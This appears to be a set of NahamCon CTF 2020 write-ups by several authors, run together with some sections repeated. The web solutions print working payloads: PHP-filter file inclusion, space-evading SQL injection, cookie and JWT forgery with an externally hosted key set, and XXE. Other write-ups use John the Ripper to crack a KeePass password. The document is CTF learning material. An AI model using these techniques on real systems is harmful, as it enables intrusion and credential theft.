### SolutionWe are given a .docx file. Running file we see that is a `Microsoft OOXML` file, so nothing interesting. We try running binwalk to see if there are hidden files inside. We are in luck, there are. Now we run `grep -r flag .` inside the extracted directory and we get the flag:>./src/oof.txt:Sed eget sem mi. Nunc ornare tincidunt nulla quis imperdiet. Donec quis dignissim lorem, vel dictum felis. Morbi blandit dapibus lorem nec blandit. Pellentesque ornare auctor est, vitae ultrices nulla efficitur quis. *flag{oof_is_right_why_gfxdata_though}* Morbi vel velit vel sem malesuada volutpat interdum ut elit. Duis orci nisl, suscipit non maximus sit amet, consectetur at diam. Vestibulum cursus odio vitae eros mollis sodales. Ut scelerisque magna diam, sit amet porttitor massa tincidunt tempus. Vivamus libero nulla, facilisis id faucibus sit amet, ultricies non dolor. Maecenas ornare viverra dui, nec vestibulum nisl pretium id. Nam fringilla maximus quam non porttitor. Curabitur eget ultricies metus. Nunc hendrerit dolor non nulla volutpat sollicitudin. Suspendisse hendrerit odio nec luctus venenatis. Nullam lobortis fringilla aliquam.
Flag: flag{oof_is_right_why_gfxdata_though}
# Steganography## KstegPoints: 50#### Description> This must be a typo.... it was kust one letter away!>>Download the file below.
### SolutionWe are given a jpg file. I tried running some tools, but nothing was working. Reading again the description I see that they misspelled `just` by writing `kust`. I also thought that the title challenge was the tool that was used, but I couldn't find it. Putting it all togheter, the tool must be called `jsteg`, not `ksteg`.This is the repository of the tool: https://github.com/lukechampine/jstegRunning `jsteg reveal luke.jpg` gave us the flag.
Flag: flag{yeast_bit_steganography_oops_another_typo}
## DohPoints: 50#### Description>Doh! Stupid steganography...>>Note, this flag is not in the usual format.>>Download the file below.
### SolutionWe are given a jpg file. We try running steghide to extract whatever might be hidden. First, we try it without a password. We're in luck. Steghide extracted the `flag.txt` file.
Flag: JCTF{an_annoyed_grunt} |
# Nahamcon-ctf-writeupsThe write-ups for Nahamcon-ctf :: Power of grepAs most write-ups are already there, this write-up only has chals that can be solved via grep._Also this is the first time I am doing write-ups so let see how it goes.._
### Challenges
- #### Warm up challenges ___ #### Clisays 
##### Solution  1. Figuring out the type of file using file command, it is an ELF binary 2. `Strings clisays | grep-i "flag{"` checks whether the binary has hardcoded string like flag, seems it has one, but we were unable to find full flag 3. `Strings clisays | grep-i "flag{" -A 10` this prints the next 10 lines after the matched string and we got out flag > flag{Y0u_c4n_r3Ad_M1nd5} ___ #### MetaMene 
##### Solution  1. Figuring out the type of file using file command, it is an JPEG file 2. `Strings hackerman.jpeg | grep-i "flag{.*}"` okay so this command looks for regular expression `flag{.*}` in the strings from png image and seems like we got our flag 3. This challenge was actually about metadata so propersol would be `exiftool hackerman.png`, but it's a ctf and this write-up is about power of grep. > flag{N0t_7h3_4cTuaL_Cr3At0r} ---
- #### Forensics challenges ___ #### Microsooft 
##### Solution   1. Figuring out the type of file using file command. 2. `binwalk -e microsooft.docx"` extracts the data(sub files) from the file. 3. Navigate into the extracted folder. 4. `grep -r -i "flag{.*} .` recursively checks all file in the present directory for the flag. > flag{oof_is_right_why_gfxdata_though} ___ #### Cowpie 
##### Solution  1. Figuring out the type of file using file command. 2. `strings manure | grep -i "flag{.*}` woaw pretty easy right. 3. Alright so it was an unintended way to solve the challenge, but the reason I am showing this way of doing it shows, even ctf creators who are concerned about chal sometimes leave some hard-coded values, now just think about what you can find in real world ;) > flag{this_flag_says_mooo_what_say_you} ___
- #### Mobile challenges ___ #### Candroid 
##### Solution   1. `apktool d candroid.apk` decodes the apk file and puts the decoded content into a folder with name similar to apk name in the current directory. 2. `grep -r -i "flag{.*} ."` greps the flag from the current folder 3. Again the challenge was about analysing the apk but if you know grep, and little apk reversing tricks you can use the above grep trick for much more, check out the apk reversing room on THM for more > flag{4ndr0id_1s_3asy} ___ #### Simple App 
##### Solution   1. `apktool d simple-app.apk` decodes the apk file and puts the decoded content into a folder with name similar to apk name in the current directory. 2. `grep -r -i "flag{.*} ."` greps the flag from the current folder 3. Similar to previous chal.. huh, nope, this time the hardcoded string was in smali, that is _like_ the assembly language for android. > flag{3asY_4ndr0id_r3vers1ng}
> Even the third Mobile chal flags can be find this way but it would be encrypted so you would have to actually jadx-gui or dex2jar+jd-gui to rev engineer the app to figure out the how to decrypt the flag. ___
- #### Miscellaneous challenges ___ #### Vortex 
##### Solution  1. A classic Grep challenge 2. `nc jh2i.com 50017 | strings | grep -i "flag{.*}"` greps the flag from input stream after extracting the strings, took me around 10-15 sec to get the flag. > flag{more_text_in_the_vortex} ___ #### Fake File 
##### Solution  1. Connected to the server, tried to cat the file but as the file name is equal to `..` it results in an error, that bash thinks it is a directory. 2. Ah haan so i can't cat it, guess i will just grep what i need `grep -r -i "flag{.*}" .` 3. Yet again, it is just the checky way to get the flag, remember this whole walkthrough is about power of grep in ctfs. 4. Also check this write-up, how smarty Emile used grep to dump all flags from hard disk, but he reported it _Thanks to him for not ruining the CTF for everyone_. <3 https://tildeho.me/leaking-all-flags-in-a-ctf/ > flag{we_should_have_been_worried_about_u2k_not_y2k} ___
#### Summary
These write-ups were all about the power of grep, and it is not the intentional way to get flag in ctfs as the main purpose of CTF's is to learn but, hey we are h4ck0rs, right ;) `grep` in the hands of 1337 is one of the most powerfull command ever.
> grep -r -i "flag{.*}" .
Thanks for reading.. . .
But hey, here is a bonus section of OSINT chals ;)
- #### OSINT challenges ___ #### Time Keeper 
##### Solution 1. Opening the original wepage, checked the source code, there was a username there which lead to a twitter account but that was a rabit hole.  2. As the challege said Time-Keeper it was a indirect hint that we need to use wayback machine  3. Opening the snapshot of 13th April we get a webpage which give us hint were the flag is.. . .  4. Changing the URL to `https://apporima.com/flag.txt` for that snapshot  5. Flag... . .  > JCTF{the_wayback_machine} ___ #### New Year Resolution 
##### Solution  1. Using `nslookup` 2. set type=ANY, it will check any/all details. 3. Flag... . . > flag{next_year_i_wont_use_spf} ___ #### Finsta 
##### Solution  1. Challenge Name is the biggest hint, Insta.. 2. searching the username on Instagram.. 3. Flag... . . > flag{i_feel_like_that_was_too_easy} You guys know what event that fake account has more followers than i do :( lol.. ___ #### Tron 
##### Solution 1. Being honest this chal took me a lot of time to figure out as i was thinking it is about shodan.. .  2. Thanks for the Nudge CuddleDeath 3. well, Cuddle asked where else can i find this user... O.o 4. Used sherlock, found username Nahamcontron on github, and one of the repo commits had an ssh key. 
5. Used the ssh key and got the flag <3 > flag{nahamcontron_is_on_the_grid} ___
#### Thanks for reading <3#### by team - ChadSec |
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##### Table of Contents- [Web](#web) - [Agent 95](#agent95) - [Localghost](#localghost) - [Phphonebook](#phphonebook) - [Official Business](#official-business) - [Extraterrestrial](#extraterrestrial) - [Rejected Sequel](#rejected-sequel) - [Flag jokes](#flag-jokes)- [Scripting](#Scripting) - [Rotten](#Rotten)- [Miscellaneous](#Miscellaneous) - [Vortex](#Vortex) - [Fake File](#Fake-File) - [Alkatraz](#Alkatraz)- [Mobile](#Mobile) - [Candroid](#Candroid) - [Simple App](#Simple-App)- [Forensics](#Forensics) - [Microsoft](#Microsoft)- [Steganography](#Steganography) - [Ksteg](#Ksteg) - [Doh](#Doh)<hr>
# Web## Agent 95Points: 50
#### Description>They've given you a number, and taken away your name~>>Connect here:>http://jh2i.com:50000
### Solution
After accessing the site we get the next message: "You don't look like our agent!We will only give our flag to our Agent 95! He is still running an old version of Windows..."
My guess is that we need to temper the User-Agent HTTP header with the value Windows 95. Doing so in Burp, we get the flag.
Flag: flag{user_agents_undercover}
## LocalghostPoints: 75
#### Description>BooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??>>Connect here:>http://jh2i.com:50003>>Note, this flag is not in the usual format.
### SolutionLooking around the page there is nothing interesting, but reading again the description I figure that there might be something in the local storage. Going there, I got the flag.
Flag: JCTF{spoooooky_ghosts_in_storage}
## PhphonebookPoints: 100
#### Description>Ring ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!>>Connect here:>http://jh2i.com:50002
### Solution
The web page displays the next message: >Sorry! You are in /index.php/?file=>>The phonebook is located at phphonebook.php
Going to `http://jh2i.com:50002/index.php/?file=phphonebook.php` we can see that there's not much going on, so we need more information. Seeing the `file` parameter I though I can do a local file inclusion.I tested it with `file=/etc/passwd`, but it didn't work. I didn't give up and tried to do a LFI with php wrappers.Providing the next payload we got the content of phphonebook.php in base64: `http://jh2i.com:50002/index.php/?file=php://filter/convert.base64-encode/resource=phphonebook.php`Base64 string returned: ` PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CgogIDxib2R5IGNsYXNzPSJiZyI+CiAgICA8aDEgaWQ9ImhlYWRlciI+IFdlbGNvbWUgdG8gdGhlIFBocGhvbmVib29rIDwvaDE+CgogICAgPGRpdiBpZD0iaW1fY29udGFpbmVyIj4KCiAgICAgIDxpbWcgc3JjPSJib29rLmpwZyIgd2lkdGg9IjUwJSIgaGVpZ2h0PSIzMCUiLz4KCiAgICAgIDxwIGNsYXNzPSJkZXNjIj4KICAgICAgVGhpcyBwaHBob25lYm9vayB3YXMgbWFkZSB0byBsb29rIHVwIGFsbCBzb3J0cyBvZiBudW1iZXJzISBIYXZlIGZ1bi4uLgogICAgICA8L3A+CgogICAgPC9kaXY+Cjxicj4KPGJyPgogICAgPGRpdj4KICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiMiPgogICAgICAgIDxsYWJlbCBpZD0iZm9ybV9sYWJlbCI+RW50ZXIgbnVtYmVyOiA8L2xhYmVsPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1iZXIiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPgogICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGlkPSJwaHBfY29udGFpbmVyIj4KICAgIDw/cGhwCiAgICAgIGV4dHJhY3QoJF9QT1NUKTsKCiAgICAJaWYgKGlzc2V0KCRlbWVyZ2VuY3kpKXsKICAgIAkJZWNobyhmaWxlX2dldF9jb250ZW50cygiL2ZsYWcudHh0IikpOwogICAgCX0KICAgID8+CiAgPC9kaXY+CiAgPC9icj4KICA8L2JyPgogIDwvYnI+CgoKPGRpdiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IGJvdHRvbToxJTsgbGVmdDoxJTsiPgo8YnI+PGJyPjxicj48YnI+CjxiPiBOT1QgQ0hBTExFTkdFIFJFTEFURUQ6PC9iPjxicj5USEFOSyBZT1UgdG8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5nIE5haGFtQ29uIGFuZCBOYWhhbUNvbiBDVEYhCjxwPgo8aW1nIHdpZHRoPTYwMHB4IHNyYz0iaHR0cHM6Ly9kMjR3dXE2bzk1MWkyZy5jbG91ZGZyb250Lm5ldC9pbWcvZXZlbnRzL2lkLzQ1Ny80NTc3NDgxMjEvYXNzZXRzL2Y3ZGEwZDcxOGViNzdjODNmNWNiNjIyMWEwNmEyZjQ1LmludGkucG5nIj4KPC9wPgo8L2Rpdj4KCiAgPC9ib2R5Pgo8L2h0bWw+`After decoding it we find out what we need to do fo getting the flag.
Making a POST request to `http://jh2i.com:50002/phphonebook.php` with the body `emergency=true` gave us the flag.
Flag: flag{phon3_numb3r_3xtr4ct3d}
## Official BusinessPoints: 125
#### Description>Are you here on official business? Prove it.>>Connect here:>http://jh2i.com:50006
### SolutionThe main web page shows us a login form and told us that we need to login in as admin to continue.Checking the `robots.txt` file we see the code used for authenticating.Here is the code that makes the login:```[email protected]("/login", methods=["POST"])def login():
user = request.form.get("user", "") password = request.form.get("password", "")
if ( user != "hacker" or hashlib.sha512(bytes(password, "ascii")).digest() != b"hackshackshackshackshackshackshackshackshackshackshackshackshack" ): return abort(403) return do_login(user, password, True)``` As you can see, there's no way we can provide a passwod that will result in that hash. So it must be something else.
```[email protected]("/")def index():
ok, cookie = load_cookie() if not ok: return abort(403)
return render_template( "index.html", user=cookie.get("user", None), admin=cookie.get("admin", None), flag=FLAG, ) def load_cookie():
cookie = {} auth = request.cookies.get("auth") if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie``` At this point it's clear we need to forge the cookie to login as admin.There's a bug in this code. In `do_login` we can see that the value for `cookie["digest"]` is obtained by concatenating the secret key to the rest of the keys from the cookie.The thing is that in `load_cookie` the digest is compared with the sha512 of `secret_key + bytes(json.dumps(cookie, sort_keys=True)` and basically the secret key doesn't matter.We can make a cookie with any values and it will pass the verification from `load_cookie`. The secret key is used wrong here and we can abuse that by crafting our own cookie.I wrote the next script that does that. ```pythonimport binasciiimport hashlibimport json
secret_key = b'suchsecretwow'
def do_login(user, password, admin): cookie = {"user": user, "password": password, "admin": admin} cookie["digest"] = hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest()
cookie_value = binascii.hexlify(json.dumps(cookie).encode("utf8"))
return cookie_value
def load_cookie(user, password): cookie = {} auth = do_login(user, password, True)
if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie
cookie_t = load_cookie('hacker', 'a')```
After adding the cookie with the value returned by `do_login` from our script we get the flag.
Flag: flag{did_this_even_pass_code_review}
## ExtraterrestrialPoints: 125 #### Description>Have you seen any aliens lately? Let us know!>>The flag is at the start of the solar system.>>Connect here:>http://jh2i.com:50004 ### SolutionWhen accessing the page we are prompted with the next form:
I tried some XSS vectors at first and I got a wierd error. For `` the server returned `Space required`.When I insert `<script>alert(1)</script>` the server returned `array(0) {}`. After some more tries I started thinking that is not about XSS.The next thing that came to my mind was XXE. I went to https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection and tried the first payload for returning a file: `]><root>&tes;;</root>`.That weird arry response from the server not looked like this:
Cool. Reading again the description, we try to use the next info:>The flag is at the start of the solar system.
This must mean that the flag is located under `/`.The payload `]><root>&tes;;</root>` gave us the flag.
Flag: flag{extraterrestrial_extra_entities} ## Rejected Sequel Points: 150 #### Description>Look at all these movie sequels that never got released! Will yours make it through??>>Connect here:>http://jh2i.com:50008 ### Solution Going to the web page we see that we have a form for searching moovies by name. Poking around, I see the next comment: ``
Interesting. Fuzzing a little the search input I received an error message from MySQL. Nice.Still, something was odd. Adding the debug parameter in my GET request I saw that the whitespaces were removed. For example, searching for `gone home` returned me this:
After playing a liitle around I discovered that I can use `/**/` instead of spaces and it will work just fine.At this point is just a common SQL Injection attack were all the wite spaces are replaced with `/**/`.Payload | Information gained------- | ------------------`"order/**/ by/**/2#` | Single column queried`"union/**/select/**/schema_name/**/from/**/information_schema.schemata#` | Database name: rejected_sequel`"union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema="rejected_sequel"#` | Two tables: *flag*, *movies*`"union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"#` | Columns from flag table: *flag*`"union/**/select/**/flag/**/from/**/flag#` | The values from the column *flag* from table *flag*
Flag: flag{at_least_this_sequel_got_published}
## Flag JokesPoints: 200
#### Description
>Want to hear a joke? Want the flag? How about both? Why don't YOU tell me a joke!>>Note, it is recommended to clear your cookies for this challenge as some may have the same names used in other challenges.>>Connect here:>http://jh2i.com:50010
### Solution
The page displays a form where you can login by only providing an username. We need to login as admin, but we can't do it directly.Providing any other username we are prompted with the next page:
Let's take a look at what cookie we have. It seems that the authentication mechanism is based on JWT. Puttin the value in Burp we get the next output:
Reading this article https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a I thought that maybe this token is exploitable by changing the *jku* value.Using https://github.com/ticarpi/jwt_tool I tried to exploit it by first changing the username into *admin* and after that by generating a new JSON Web Keys Set.The output from JWT_tool.py:```textYour new forged token:(Signed with: private_jwttool_RSA_1592044374.pem)[+] eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZW5hYTBpaGoxdW91dDZqLm0ucGlwZWRyZWFtLm5ldC9qd2tzLmpzb24iLCJraWQiOiJrZXlpZHNhbXBsZSJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.K0hK28hR4wPhRch7PrQ-eh8mM_8_zewdL1ErHg-YCvqdypTl4eRN_fvol9fG7PAORYOzfWEHM3OuiGGg6Jd22Ii8xz025rb_0vhRO7kdZVgKEJblAUd8shJjCe3WmT_HEj83LPg0OhhRqD3QpcWgu62mvVuL-vKXIE13gz1wjT_PzVH4O6jqgIFj-WC5WMgOxP3-NiybAnORlCzpzv31qeWoAawXgiiC_PFlAZfjOfREHa8kSR_mufjOhgEbjO9fZsMrm7KJQzQup8O1OFzmdjiaScmsw8e-Bbo66QSkPoonbpDmLu9v8aUH1v4waDZ0IoutdMY2ItbVQ5IbRXv2OQ
Paste this JWKS into a new file at the following location: https://enaa0ihj1uout6j.m.pipedream.net/jwks.json(Also exported as: jwks_jwttool_RSA_1592044374.json)[+]{ "kty":"RSA", "kid":"keyidsample", "use":"sig", "e":"AQAB", "n":"t_VtloNSQtuAB8wxqlfXGiDRPO2rUG1-BgMidCPKay6efk-yUOV15k1-mtcOfukyzy41FhuG_Izk8qk5tSbl0vzG6el0bm4gkq7cT_vZF3buFVnu77d7-_we8imyNKimqanzbmdQeLNl8PpOME2xrZIGPZEG9tsXoIbtrnAjKHlqnxAdETPv9crzDzTJDRdVhOifTD7OqV6edsRlCZVnS5XwGstsbMBKAfSjfe3OIjj-5e6cX_wHsGPIMrN4xR41Lz0nbwIG3djYHL5fbKiLuEMJFS9NzBwcoLfYq6Xer2C5coTn5cUJLUpGKrg7lSZo2SvZLFzegq0gOPwmIfDpkQ"}
``` I hosted the content key inside a flow from https://pipedream.com/ and set the new token in browser.
After hitting refresh I got the flag. 
Flag: flag{whoops_typo_shoulda_been_flag_jwks} # Scripting ## Rotten Points: 100 #### Description>Ick, this salad doesn't taste too good!>>Connect with:>nc jh2i.com 50034
### Solution Running nc jh2i.com 50034 we are asked to return exactly the response. > send back this line exactly. no flag here, just filler. After doing so for a few times we get `jveu srtb kyzj czev vortkcp. ef wcrx yviv, aljk wzccvi.` which seems to be a variation of ROT13 or Ceaser cypher. Sending exactly this message back will close the connection, so we need to decode it first and only afterwards send it. PLaying a liitle more I received the next message: > fraq onpx guvf yvar rknpgyl. punenpgre 2 bs gur synt vf 'n' Which decoded with ROT13 will become `send back this line exactly. character 2 of the flag is 'a'`. Nice, so we got an idea of how this works. We need to keep replying with the decoded line and extract the chars for building the flag on the way. The implementation for the ROTN decoding function is from here: https://eddmann.com/posts/implementing-rot13-and-rot-n-caesar-ciphers-in-python/ My final script: ```pythonimport pwnimport refrom string import ascii_lowercase as lc, ascii_lowercase as uc
def rot_alpha(n): lookup = str.maketrans(lc + uc, lc[n:] + lc[:n] + uc[n:] + uc[:n]) return lambda s: s.translate(lookup)
flag = dict()base_positoin = ascii_lowercase.find('s')r_position = re.compile('[0-9]{1,2}')r_letter = re.compile('\'.\'')
conn = pwn.remote('jh2i.com', 50034)line = conn.recvline()conn.send(line)
while True: rotted = conn.recvline().decode('utf-8') rot_letter = lc.find(rotted[0]) rot_number = base_positoin - rot_letter reversed_line = rot_alpha(rot_number)(rotted) if len(r_position.findall(reversed_line)) > 0: key = r_position.findall(reversed_line)[0] value = r_letter.findall(reversed_line)[0].replace('\'', '') flag[key] = value conn.send(reversed_line)``` Since I don't know th size of the flag I opted for running in debug mode and trying to build the flag after a few minutes. 
Flag: flag{now_you_know_your_caesars}
## Miscellaneous### VortexPoints: 75#### Description>Will you find the flag, or get lost in the vortex?>>Connect here:>nc jh2i.com 50017
### SolutionConnecting with netcat we get a lot of garbage. I let it connected for 1 minute and I received in continue chunk of bytes. So, my guess is that we need to find the flag in all that mess.
This small script will do the job:
```pythonimport pwn
conn = pwn.remote('jh2i.com', 50017)line = b''
while True: if b'flag' in line: print(line) break
line = conn.recvline()
conn.close()```
Flag: flag{more_text_in_the_vortex}
## Fake FilePoints: 100#### Description>Wait... where is the flag?>>Connect here:>nc jh2i.com 50026
### SolutionConnecting with netcat we get a bash. Poking around I couldn't find anything interesting so I went with `grep -r flag{ /` and we find the flag in `/home/user/..`.
Flag: flag{we_should_have_been_worried_about_u2k_not_y2k}
## AlkatrazPoints: 100#### Description>We are so restricted here in Alkatraz. Can you help us break out?>>Connect here:>nc jh2i.com 50024
### SolutionConnecting with netcat we get a bash, but we only have access to `ls` command. We are also restricted to run commands if `/` is in theirs names.
We solve this by reading the file with bash scripting.
Flag: flag{congrats_you_just_escaped_alkatraz}
# Mobile## CandroidPoints: 50#### Description>I think I can, I think I can!>>Download the file below.
### SolutionWe are given an apk file. I tried running strings on it and it gave me the flag.
Flag: flag{4ndr0id_1s_3asy}
## Simple AppPoints: 50#### Description>Here's a simple Android app. Can you get the flag?>>Download the file below.
### SolutionWe are given an apk file. I decompiled it using `apktool d simple-app.apk` and after that I ran `grep -r flag{ .` and got the flag.
Flag: flag{3asY_4ndr0id_r3vers1ng}
# Forensics## MicrosoftPoints: 100#### Description>We have to use Microsoft Word at the office!? Oof...>>Download the file below.
### SolutionWe are given a .docx file. Running file we see that is a `Microsoft OOXML` file, so nothing interesting. We try running binwalk to see if there are hidden files inside. We are in luck, there are. Now we run `grep -r flag .` inside the extracted directory and we get the flag:>./src/oof.txt:Sed eget sem mi. Nunc ornare tincidunt nulla quis imperdiet. Donec quis dignissim lorem, vel dictum felis. Morbi blandit dapibus lorem nec blandit. Pellentesque ornare auctor est, vitae ultrices nulla efficitur quis. *flag{oof_is_right_why_gfxdata_though}* Morbi vel velit vel sem malesuada volutpat interdum ut elit. Duis orci nisl, suscipit non maximus sit amet, consectetur at diam. Vestibulum cursus odio vitae eros mollis sodales. Ut scelerisque magna diam, sit amet porttitor massa tincidunt tempus. Vivamus libero nulla, facilisis id faucibus sit amet, ultricies non dolor. Maecenas ornare viverra dui, nec vestibulum nisl pretium id. Nam fringilla maximus quam non porttitor. Curabitur eget ultricies metus. Nunc hendrerit dolor non nulla volutpat sollicitudin. Suspendisse hendrerit odio nec luctus venenatis. Nullam lobortis fringilla aliquam.
Flag: flag{oof_is_right_why_gfxdata_though}
# Steganography## KstegPoints: 50#### Description> This must be a typo.... it was kust one letter away!>>Download the file below.
### SolutionWe are given a jpg file. I tried running some tools, but nothing was working. Reading again the description I see that they misspelled `just` by writing `kust`. I also thought that the title challenge was the tool that was used, but I couldn't find it. Putting it all togheter, the tool must be called `jsteg`, not `ksteg`.This is the repository of the tool: https://github.com/lukechampine/jstegRunning `jsteg reveal luke.jpg` gave us the flag.
Flag: flag{yeast_bit_steganography_oops_another_typo}
## DohPoints: 50#### Description>Doh! Stupid steganography...>>Note, this flag is not in the usual format.>>Download the file below.
### SolutionWe are given a jpg file. We try running steghide to extract whatever might be hidden. First, we try it without a password. We're in luck. Steghide extracted the `flag.txt` file.
Flag: JCTF{an_annoyed_grunt} |
# **NahamCon CTF 2020**
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:
## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:
well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:
notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:
We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:
**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:
There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:
**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:
By the description we know that we need to login as admin, but if we try using admin as our username we get the following:
But we can login with any other username:
If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:
we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:
now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:
**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:
This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:
